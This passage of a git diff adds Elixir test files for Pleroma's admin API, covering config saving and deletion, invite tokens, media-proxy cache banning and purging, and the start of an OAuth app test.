+ "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{ + "tuple" => [ + ":ssl_options", + [%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}] + ] + } + ], + "db" => [":ssl_options"] + } + ], + "need_reboot" => false + } + + assert Application.get_env(:pleroma, :key1) == [ + ssl_options: [versions: [:tlsv1, :"tlsv1.1", :"tlsv1.2"]] + ] + end + + test "saving full setting if value is in full_key_update list", %{conn: conn} do + backends = Application.get_env(:logger, :backends) + on_exit(fn -> Application.put_env(:logger, :backends, backends) end) + + insert(:config, + group: :logger, + key: :backends, + value: [] + ) + + Pleroma.Config.TransferTask.load_and_update_env([], false) + + assert Application.get_env(:logger, :backends) == [] + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":logger", + key: ":backends", + value: [":console"] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":logger", + "key" => ":backends", + "value" => [ + ":console" + ], + "db" => [":backends"] + } + ], + "need_reboot" => false + } + + assert Application.get_env(:logger, :backends) == [ + :console + ] + end + + test "saving full setting if value is not keyword", %{conn: conn} do + insert(:config, + group: :tesla, + key: :adapter, + value: Tesla.Adapter.Hackey + ) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":tesla", key: ":adapter", value: "Tesla.Adapter.Httpc"} + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":tesla", + "key" => ":adapter", + "value" => "Tesla.Adapter.Httpc", + "db" => [":adapter"] + } + ], + "need_reboot" => false + } + end + + test "update config setting & delete with fallback to default value", %{ + conn: conn, + admin: admin, + token: token + } do + ueberauth = Application.get_env(:ueberauth, Ueberauth) + insert(:config, key: :keyaa1) + insert(:config, key: :keyaa2) + + config3 = + insert(:config, + group: :ueberauth, + key: Ueberauth + ) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":keyaa1", value: "another_value"}, + %{group: ":pleroma", key: ":keyaa2", value: "another_value"} + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":keyaa1", + "value" => "another_value", + "db" => [":keyaa1"] + }, + %{ + "group" => ":pleroma", + "key" => ":keyaa2", + "value" => "another_value", + "db" => [":keyaa2"] + } + ], + "need_reboot" => false + } + + assert Application.get_env(:pleroma, :keyaa1) == "another_value" + assert Application.get_env(:pleroma, :keyaa2) == "another_value" + assert Application.get_env(:ueberauth, Ueberauth) == config3.value + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":keyaa2", delete: true}, + %{ + group: ":ueberauth", + key: "Ueberauth", + delete: true + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [], + "need_reboot" => false + } + + assert Application.get_env(:ueberauth, Ueberauth) == ueberauth + refute Keyword.has_key?(Application.get_all_env(:pleroma), :keyaa2) + end + + test "common config example", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Captcha.NotReal", + "value" => [ + %{"tuple" => [":enabled", false]}, + %{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]}, + %{"tuple" => [":seconds_valid", 60]}, + %{"tuple" => [":path", ""]}, + %{"tuple" => [":key1", nil]}, + %{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]}, + %{"tuple" => [":regex1", "~r/https:\/\/example.com/"]}, + %{"tuple" => [":regex2", "~r/https:\/\/example.com/u"]}, + %{"tuple" => [":regex3", "~r/https:\/\/example.com/i"]}, + %{"tuple" => [":regex4", "~r/https:\/\/example.com/s"]}, + %{"tuple" => [":name", "Pleroma"]} + ] + } + ] + }) + + assert Config.get([Pleroma.Captcha.NotReal, :name]) == "Pleroma" + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Captcha.NotReal", + "value" => [ + %{"tuple" => [":enabled", false]}, + %{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]}, + %{"tuple" => [":seconds_valid", 60]}, + %{"tuple" => [":path", ""]}, + %{"tuple" => [":key1", nil]}, + %{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]}, + %{"tuple" => [":regex1", "~r/https:\\/\\/example.com/"]}, + %{"tuple" => [":regex2", "~r/https:\\/\\/example.com/u"]}, + %{"tuple" => [":regex3", "~r/https:\\/\\/example.com/i"]}, + %{"tuple" => [":regex4", "~r/https:\\/\\/example.com/s"]}, + %{"tuple" => [":name", "Pleroma"]} + ], + "db" => [ + ":enabled", + ":method", + ":seconds_valid", + ":path", + ":key1", + ":partial_chain", + ":regex1", + ":regex2", + ":regex3", + ":regex4", + ":name" + ] + } + ], + "need_reboot" => false + } + end + + test "tuples with more than two values", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Web.Endpoint.NotReal", + "value" => [ + %{ + "tuple" => [ + ":http", + [ + %{ + "tuple" => [ + ":key2", + [ + %{ + "tuple" => [ + ":_", + [ + %{ + "tuple" => [ + "/api/v1/streaming", + "Pleroma.Web.MastodonAPI.WebsocketHandler", + [] + ] + }, + %{ + "tuple" => [ + "/websocket", + "Phoenix.Endpoint.CowboyWebSocket", + %{ + "tuple" => [ + "Phoenix.Transports.WebSocket", + %{ + "tuple" => [ + "Pleroma.Web.Endpoint", + "Pleroma.Web.UserSocket", + [] + ] + } + ] + } + ] + }, + %{ + "tuple" => [ + ":_", + "Phoenix.Endpoint.Cowboy2Handler", + %{"tuple" => ["Pleroma.Web.Endpoint", []]} + ] + } + ] + ] + } + ] + ] + } + ] + ] + } + ] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Web.Endpoint.NotReal", + "value" => [ + %{ + "tuple" => [ + ":http", + [ + %{ + "tuple" => [ + ":key2", + [ + %{ + "tuple" => [ + ":_", + [ + %{ + "tuple" => [ + "/api/v1/streaming", + "Pleroma.Web.MastodonAPI.WebsocketHandler", + [] + ] + }, + %{ + "tuple" => [ + "/websocket", + "Phoenix.Endpoint.CowboyWebSocket", + %{ + "tuple" => [ + "Phoenix.Transports.WebSocket", + %{ + "tuple" => [ + "Pleroma.Web.Endpoint", + "Pleroma.Web.UserSocket", + [] + ] + } + ] + } + ] + }, + %{ + "tuple" => [ + ":_", + "Phoenix.Endpoint.Cowboy2Handler", + %{"tuple" => ["Pleroma.Web.Endpoint", []]} + ] + } + ] + ] + } + ] + ] + } + ] + ] + } + ], + "db" => [":http"] + } + ], + "need_reboot" => false + } + end + + test "settings with nesting map", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{"tuple" => [":key2", "some_val"]}, + %{ + "tuple" => [ + ":key3", + %{ + ":max_options" => 20, + ":max_option_chars" => 200, + ":min_expiration" => 0, + ":max_expiration" => 31_536_000, + "nested" => %{ + ":max_options" => 20, + ":max_option_chars" => 200, + ":min_expiration" => 0, + ":max_expiration" => 31_536_000 + } + } + ] + } + ] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == + %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{"tuple" => [":key2", "some_val"]}, + %{ + "tuple" => [ + ":key3", + %{ + ":max_expiration" => 31_536_000, + ":max_option_chars" => 200, + ":max_options" => 20, + ":min_expiration" => 0, + "nested" => %{ + ":max_expiration" => 31_536_000, + ":max_option_chars" => 200, + ":max_options" => 20, + ":min_expiration" => 0 + } + } + ] + } + ], + "db" => [":key2", ":key3"] + } + ], + "need_reboot" => false + } + end + + test "value as map", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => %{"key" => "some_val"} + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == + %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => %{"key" => "some_val"}, + "db" => [":key1"] + } + ], + "need_reboot" => false + } + end + + test "queues key as atom", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + "group" => ":oban", + "key" => ":queues", + "value" => [ + %{"tuple" => [":federator_incoming", 50]}, + %{"tuple" => [":federator_outgoing", 50]}, + %{"tuple" => [":web_push", 50]}, + %{"tuple" => [":mailer", 10]}, + %{"tuple" => [":transmogrifier", 20]}, + %{"tuple" => [":scheduled_activities", 10]}, + %{"tuple" => [":background", 5]} + ] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":oban", + "key" => ":queues", + "value" => [ + %{"tuple" => [":federator_incoming", 50]}, + %{"tuple" => [":federator_outgoing", 50]}, + %{"tuple" => [":web_push", 50]}, + %{"tuple" => [":mailer", 10]}, + %{"tuple" => [":transmogrifier", 20]}, + %{"tuple" => [":scheduled_activities", 10]}, + %{"tuple" => [":background", 5]} + ], + "db" => [ + ":federator_incoming", + ":federator_outgoing", + ":web_push", + ":mailer", + ":transmogrifier", + ":scheduled_activities", + ":background" + ] + } + ], + "need_reboot" => false + } + end + + test "delete part of settings by atom subkeys", %{conn: conn} do + insert(:config, + key: :keyaa1, + value: [subkey1: "val1", subkey2: "val2", subkey3: "val3"] + ) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: ":keyaa1", + subkeys: [":subkey1", ":subkey3"], + delete: true + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":keyaa1", + "value" => [%{"tuple" => [":subkey2", "val2"]}], + "db" => [":subkey2"] + } + ], + "need_reboot" => false + } + end + + test "proxy tuple localhost", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: ":http", + value: [ + %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]} + ] + } + ] + }) + + assert %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":http", + "value" => value, + "db" => db + } + ] + } = json_response_and_validate_schema(conn, 200) + + assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]} in value + assert ":proxy_url" in db + end + + test "proxy tuple domain", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: ":http", + value: [ + %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]} + ] + } + ] + }) + + assert %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":http", + "value" => value, + "db" => db + } + ] + } = json_response_and_validate_schema(conn, 200) + + assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]} in value + assert ":proxy_url" in db + end + + test "proxy tuple ip", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: ":http", + value: [ + %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]} + ] + } + ] + }) + + assert %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":http", + "value" => value, + "db" => db + } + ] + } = json_response_and_validate_schema(conn, 200) + + assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]} in value + assert ":proxy_url" in db + end + + @tag capture_log: true + test "doesn't set keys not in the whitelist", %{conn: conn} do + clear_config(:database_config_whitelist, [ + {:pleroma, :key1}, + {:pleroma, :key2}, + {:pleroma, Pleroma.Captcha.NotReal}, + {:not_real} + ]) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":key1", value: "value1"}, + %{group: ":pleroma", key: ":key2", value: "value2"}, + %{group: ":pleroma", key: ":key3", value: "value3"}, + %{group: ":pleroma", key: "Pleroma.Web.Endpoint.NotReal", value: "value4"}, + %{group: ":pleroma", key: "Pleroma.Captcha.NotReal", value: "value5"}, + %{group: ":not_real", key: ":anything", value: "value6"} + ] + }) + + assert Application.get_env(:pleroma, :key1) == "value1" + assert Application.get_env(:pleroma, :key2) == "value2" + assert Application.get_env(:pleroma, :key3) == nil + assert Application.get_env(:pleroma, Pleroma.Web.Endpoint.NotReal) == nil + assert Application.get_env(:pleroma, Pleroma.Captcha.NotReal) == "value5" + assert Application.get_env(:not_real, :anything) == "value6" + end + + test "args for Pleroma.Upload.Filter.Mogrify with custom tuples", %{conn: conn} do + clear_config(Pleroma.Upload.Filter.Mogrify) + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: "Pleroma.Upload.Filter.Mogrify", + value: [ + %{"tuple" => [":args", ["auto-orient", "strip"]]} + ] + } + ] + }) + |> json_response_and_validate_schema(200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Upload.Filter.Mogrify", + "value" => [ + %{"tuple" => [":args", ["auto-orient", "strip"]]} + ], + "db" => [":args"] + } + ], + "need_reboot" => false + } + + assert Config.get(Pleroma.Upload.Filter.Mogrify) == [args: ["auto-orient", "strip"]] + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: "Pleroma.Upload.Filter.Mogrify", + value: [ + %{ + "tuple" => [ + ":args", + [ + "auto-orient", + "strip", + "{\"implode\", \"1\"}", + "{\"resize\", \"3840x1080>\"}" + ] + ] + } + ] + } + ] + }) + |> json_response(200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Upload.Filter.Mogrify", + "value" => [ + %{ + "tuple" => [ + ":args", + [ + "auto-orient", + "strip", + "{\"implode\", \"1\"}", + "{\"resize\", \"3840x1080>\"}" + ] + ] + } + ], + "db" => [":args"] + } + ], + "need_reboot" => false + } + + assert Config.get(Pleroma.Upload.Filter.Mogrify) == [ + args: ["auto-orient", "strip", {"implode", "1"}, {"resize", "3840x1080>"}] + ] + end + + test "enables the welcome messages", %{conn: conn} do + clear_config([:welcome]) + + params = %{ + "group" => ":pleroma", + "key" => ":welcome", + "value" => [ + %{ + "tuple" => [ + ":direct_message", + [ + %{"tuple" => [":enabled", true]}, + %{"tuple" => [":message", "Welcome to Pleroma!"]}, + %{"tuple" => [":sender_nickname", "pleroma"]} + ] + ] + }, + %{ + "tuple" => [ + ":chat_message", + [ + %{"tuple" => [":enabled", true]}, + %{"tuple" => [":message", "Welcome to Pleroma!"]}, + %{"tuple" => [":sender_nickname", "pleroma"]} + ] + ] + }, + %{ + "tuple" => [ + ":email", + [ + %{"tuple" => [":enabled", true]}, + %{"tuple" => [":sender", %{"tuple" => ["pleroma@dev.dev", "Pleroma"]}]}, + %{"tuple" => [":subject", "Welcome to <%= instance_name %>!"]}, + %{"tuple" => [":html", "Welcome to <%= instance_name %>!"]}, + %{"tuple" => [":text", "Welcome to <%= instance_name %>!"]} + ] + ] + } + ] + } + + refute Pleroma.User.WelcomeEmail.enabled?() + refute Pleroma.User.WelcomeMessage.enabled?() + refute Pleroma.User.WelcomeChatMessage.enabled?() + + res = + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{"configs" => [params]}) + |> json_response_and_validate_schema(200) + + assert Pleroma.User.WelcomeEmail.enabled?() + assert Pleroma.User.WelcomeMessage.enabled?() + assert Pleroma.User.WelcomeChatMessage.enabled?() + + assert res == %{ + "configs" => [ + %{ + "db" => [":direct_message", ":chat_message", ":email"], + "group" => ":pleroma", + "key" => ":welcome", + "value" => params["value"] + } + ], + "need_reboot" => false + } + end + end + + describe "GET /api/pleroma/admin/config/descriptions" do + test "structure", %{conn: conn} do + admin = insert(:user, is_admin: true) + + conn = + assign(conn, :user, admin) + |> get("/api/pleroma/admin/config/descriptions") + + assert [child | _others] = json_response_and_validate_schema(conn, 200) + + assert child["children"] + assert child["key"] + assert String.starts_with?(child["group"], ":") + assert child["description"] + end + + test "filters by database configuration whitelist", %{conn: conn} do + clear_config(:database_config_whitelist, [ + {:pleroma, :instance}, + {:pleroma, :activitypub}, + {:pleroma, Pleroma.Upload}, + {:esshd} + ]) + + admin = insert(:user, is_admin: true) + + conn = + assign(conn, :user, admin) + |> get("/api/pleroma/admin/config/descriptions") + + children = json_response_and_validate_schema(conn, 200) + + assert length(children) == 4 + + assert Enum.count(children, fn c -> c["group"] == ":pleroma" end) == 3 + + instance = Enum.find(children, fn c -> c["key"] == ":instance" end) + assert instance["children"] + + activitypub = Enum.find(children, fn c -> c["key"] == ":activitypub" end) + assert activitypub["children"] + + web_endpoint = Enum.find(children, fn c -> c["key"] == "Pleroma.Upload" end) + assert web_endpoint["children"] + + esshd = Enum.find(children, fn c -> c["group"] == ":esshd" end) + assert esshd["children"] + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/invite_controller_test.exs b/test/pleroma/web/admin_api/controllers/invite_controller_test.exs new file mode 100644 index 000000000..ab186c5e7 --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/invite_controller_test.exs @@ -0,0 +1,281 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.InviteControllerTest do + use Pleroma.Web.ConnCase, async: true + + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.Repo + alias Pleroma.UserInviteToken + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "POST /api/pleroma/admin/users/email_invite, with valid config" do + setup do: clear_config([:instance, :registrations_open], false) + setup do: clear_config([:instance, :invites_enabled], true) + + test "sends invitation and returns 204", %{admin: admin, conn: conn} do + recipient_email = "foo@bar.com" + recipient_name = "J. D." + + conn = + conn + |> put_req_header("content-type", "application/json;charset=utf-8") + |> post("/api/pleroma/admin/users/email_invite", %{ + email: recipient_email, + name: recipient_name + }) + + assert json_response_and_validate_schema(conn, :no_content) + + token_record = List.last(Repo.all(Pleroma.UserInviteToken)) + assert token_record + refute token_record.used + + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + email = + Pleroma.Emails.UserEmail.user_invitation_email( + admin, + token_record, + recipient_email, + recipient_name + ) + + Swoosh.TestAssertions.assert_email_sent( + from: {instance_name, notify_email}, + to: {recipient_name, recipient_email}, + html_body: email.html_body + ) + end + + test "it returns 403 if requested by a non-admin" do + non_admin_user = insert(:user) + token = insert(:oauth_token, user: non_admin_user) + + conn = + build_conn() + |> assign(:user, non_admin_user) + |> assign(:token, token) + |> put_req_header("content-type", "application/json;charset=utf-8") + |> post("/api/pleroma/admin/users/email_invite", %{ + email: "foo@bar.com", + name: "JD" + }) + + assert json_response(conn, :forbidden) + end + + test "email with +", %{conn: conn, admin: admin} do + recipient_email = "foo+bar@baz.com" + + conn + |> put_req_header("content-type", "application/json;charset=utf-8") + |> post("/api/pleroma/admin/users/email_invite", %{email: recipient_email}) + |> json_response_and_validate_schema(:no_content) + + token_record = + Pleroma.UserInviteToken + |> Repo.all() + |> List.last() + + assert token_record + refute token_record.used + + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + email = + Pleroma.Emails.UserEmail.user_invitation_email( + admin, + token_record, + recipient_email + ) + + Swoosh.TestAssertions.assert_email_sent( + from: {instance_name, notify_email}, + to: recipient_email, + html_body: email.html_body + ) + end + end + + describe "POST /api/pleroma/admin/users/email_invite, with invalid config" do + setup do: clear_config([:instance, :registrations_open]) + setup do: clear_config([:instance, :invites_enabled]) + + test "it returns 500 if `invites_enabled` is not enabled", %{conn: conn} do + Config.put([:instance, :registrations_open], false) + Config.put([:instance, :invites_enabled], false) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/email_invite", %{ + email: "foo@bar.com", + name: "JD" + }) + + assert json_response_and_validate_schema(conn, :bad_request) == + %{ + "error" => + "To send invites you need to set the `invites_enabled` option to true." + } + end + + test "it returns 500 if `registrations_open` is enabled", %{conn: conn} do + Config.put([:instance, :registrations_open], true) + Config.put([:instance, :invites_enabled], true) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/email_invite", %{ + email: "foo@bar.com", + name: "JD" + }) + + assert json_response_and_validate_schema(conn, :bad_request) == + %{ + "error" => + "To send invites you need to set the `registrations_open` option to false." + } + end + end + + describe "POST /api/pleroma/admin/users/invite_token" do + test "without options", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/invite_token") + + invite_json = json_response_and_validate_schema(conn, 200) + invite = UserInviteToken.find_by_token!(invite_json["token"]) + refute invite.used + refute invite.expires_at + refute invite.max_use + assert invite.invite_type == "one_time" + end + + test "with expires_at", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/invite_token", %{ + "expires_at" => Date.to_string(Date.utc_today()) + }) + + invite_json = json_response_and_validate_schema(conn, 200) + invite = UserInviteToken.find_by_token!(invite_json["token"]) + + refute invite.used + assert invite.expires_at == Date.utc_today() + refute invite.max_use + assert invite.invite_type == "date_limited" + end + + test "with max_use", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/invite_token", %{"max_use" => 150}) + + invite_json = json_response_and_validate_schema(conn, 200) + invite = UserInviteToken.find_by_token!(invite_json["token"]) + refute invite.used + refute invite.expires_at + assert invite.max_use == 150 + assert invite.invite_type == "reusable" + end + + test "with max use and expires_at", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/invite_token", %{ + "max_use" => 150, + "expires_at" => Date.to_string(Date.utc_today()) + }) + + invite_json = json_response_and_validate_schema(conn, 200) + invite = UserInviteToken.find_by_token!(invite_json["token"]) + refute invite.used + assert invite.expires_at == Date.utc_today() + assert invite.max_use == 150 + assert invite.invite_type == "reusable_date_limited" + end + end + + describe "GET /api/pleroma/admin/users/invites" do + test "no invites", %{conn: conn} do + conn = get(conn, "/api/pleroma/admin/users/invites") + + assert json_response_and_validate_schema(conn, 200) == %{"invites" => []} + end + + test "with invite", %{conn: conn} do + {:ok, invite} = UserInviteToken.create_invite() + + conn = get(conn, "/api/pleroma/admin/users/invites") + + assert json_response_and_validate_schema(conn, 200) == %{ + "invites" => [ + %{ + "expires_at" => nil, + "id" => invite.id, + "invite_type" => "one_time", + "max_use" => nil, + "token" => invite.token, + "used" => false, + "uses" => 0 + } + ] + } + end + end + + describe "POST /api/pleroma/admin/users/revoke_invite" do + test "with token", %{conn: conn} do + {:ok, invite} = UserInviteToken.create_invite() + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/revoke_invite", %{"token" => invite.token}) + + assert json_response_and_validate_schema(conn, 200) == %{ + "expires_at" => nil, + "id" => invite.id, + "invite_type" => "one_time", + "max_use" => nil, + "token" => invite.token, + "used" => true, + "uses" => 0 + } + end + + test "with invalid token", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/revoke_invite", %{"token" => "foo"}) + + assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs b/test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs new file mode 100644 index 000000000..f243d1fb2 --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs @@ -0,0 +1,167 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.MediaProxyCacheControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + import Mock + + alias Pleroma.Web.MediaProxy + + setup do: clear_config([:media_proxy]) + + setup do + on_exit(fn -> Cachex.clear(:banned_urls_cache) end) + end + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + Config.put([:media_proxy, :enabled], true) + Config.put([:media_proxy, :invalidation, :enabled], true) + Config.put([:media_proxy, :invalidation, :provider], MediaProxy.Invalidation.Script) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/media_proxy_caches" do + test "shows banned MediaProxy URLs", %{conn: conn} do + MediaProxy.put_in_banned_urls([ + "http://localhost:4001/media/a688346.jpg", + "http://localhost:4001/media/fb1f4d.jpg" + ]) + + MediaProxy.put_in_banned_urls("http://localhost:4001/media/gb1f44.jpg") + MediaProxy.put_in_banned_urls("http://localhost:4001/media/tb13f47.jpg") + MediaProxy.put_in_banned_urls("http://localhost:4001/media/wb1f46.jpg") + + response = + conn + |> get("/api/pleroma/admin/media_proxy_caches?page_size=2") + |> json_response_and_validate_schema(200) + + assert response["page_size"] == 2 + assert response["count"] == 5 + + assert response["urls"] == [ + "http://localhost:4001/media/fb1f4d.jpg", + "http://localhost:4001/media/a688346.jpg" + ] + + response = + conn + |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&page=2") + |> json_response_and_validate_schema(200) + + assert response["urls"] == [ + "http://localhost:4001/media/gb1f44.jpg", + "http://localhost:4001/media/tb13f47.jpg" + ] + + assert response["page_size"] == 2 + assert response["count"] == 5 + + response = + conn + |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&page=3") + |> json_response_and_validate_schema(200) + + assert response["urls"] == ["http://localhost:4001/media/wb1f46.jpg"] + end + + test "search banned MediaProxy URLs", %{conn: conn} do + MediaProxy.put_in_banned_urls([ + "http://localhost:4001/media/a688346.jpg", + "http://localhost:4001/media/ff44b1f4d.jpg" + ]) + + MediaProxy.put_in_banned_urls("http://localhost:4001/media/gb1f44.jpg") + MediaProxy.put_in_banned_urls("http://localhost:4001/media/tb13f47.jpg") + MediaProxy.put_in_banned_urls("http://localhost:4001/media/wb1f46.jpg") + + response = + conn + |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&query=F44") + |> json_response_and_validate_schema(200) + + assert response["urls"] == [ + "http://localhost:4001/media/gb1f44.jpg", + "http://localhost:4001/media/ff44b1f4d.jpg" + ] + + assert response["page_size"] == 2 + assert response["count"] == 2 + end + end + + describe "POST /api/pleroma/admin/media_proxy_caches/delete" do + test "deleted MediaProxy URLs from banned", %{conn: conn} do + MediaProxy.put_in_banned_urls([ + "http://localhost:4001/media/a688346.jpg", + "http://localhost:4001/media/fb1f4d.jpg" + ]) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/media_proxy_caches/delete", %{ + urls: ["http://localhost:4001/media/a688346.jpg"] + }) + |> json_response_and_validate_schema(200) + + refute MediaProxy.in_banned_urls("http://localhost:4001/media/a688346.jpg") + assert MediaProxy.in_banned_urls("http://localhost:4001/media/fb1f4d.jpg") + end + end + + describe "POST /api/pleroma/admin/media_proxy_caches/purge" do + test "perform invalidates cache of MediaProxy", %{conn: conn} do + urls = [ + "http://example.com/media/a688346.jpg", + "http://example.com/media/fb1f4d.jpg" + ] + + with_mocks [ + {MediaProxy.Invalidation.Script, [], + [ + purge: fn _, _ -> {"ok", 0} end + ]} + ] do + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/media_proxy_caches/purge", %{urls: urls, ban: false}) + |> json_response_and_validate_schema(200) + + refute MediaProxy.in_banned_urls("http://example.com/media/a688346.jpg") + refute MediaProxy.in_banned_urls("http://example.com/media/fb1f4d.jpg") + end + end + + test "perform invalidates cache of MediaProxy and adds url to banned", %{conn: conn} do + urls = [ + "http://example.com/media/a688346.jpg", + "http://example.com/media/fb1f4d.jpg" + ] + + with_mocks [{MediaProxy.Invalidation.Script, [], [purge: fn _, _ -> {"ok", 0} end]}] do + conn + |> put_req_header("content-type", "application/json") + |> post( + "/api/pleroma/admin/media_proxy_caches/purge", + %{urls: urls, ban: true} + ) + |> json_response_and_validate_schema(200) + + assert MediaProxy.in_banned_urls("http://example.com/media/a688346.jpg") + assert MediaProxy.in_banned_urls("http://example.com/media/fb1f4d.jpg") + end + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs b/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs new file mode 100644 index 000000000..ed7c4172c --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs @@ -0,0 +1,220 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.OAuthAppControllerTest 